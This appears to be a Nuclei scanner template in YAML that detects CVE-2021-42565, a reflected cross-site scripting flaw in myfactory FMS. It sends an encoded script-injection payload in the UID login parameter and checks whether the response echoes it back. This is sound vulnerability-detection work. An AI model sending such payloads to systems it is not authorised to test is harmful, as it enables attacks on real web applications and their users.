52 lines
1.7 KiB
YAML
52 lines
1.7 KiB
YAML
id: CVE-2021-42565
|
|
|
|
info:
|
|
name: myfactory FMS - Cross-Site Scripting
|
|
author: madrobot
|
|
severity: medium
|
|
description: myfactory.FMS before 7.1-912 allows cross-site scripting via the UID parameter.
|
|
remediation: |
|
|
Upgrade to the latest version to mitigate this vulnerability.
|
|
reference:
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-42565
|
|
- https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-001/-cross-site-scripting-in-myfactory-fms
|
|
- https://www.redteam-pentesting.de/advisories/rt-sa-2021-001
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-42565
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00102
|
|
epss-percentile: 0.41433
|
|
cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: myfactory
|
|
product: fms
|
|
tags: cve,cve2021,myfactory,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
- '{{BaseURL}}/system/login/SysLoginUser.aspx?Login=Denied&UID=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502204fe2bdc1f53949845da8514a1019562f881edcbef123e1cb4c5cffed1e638ee2022100f737d9401db82d3f8422ee6a5e0780f0208efd7c68e5d09652e4be74464ed6ad:922c64590222798bb761d5b6d8e72950
|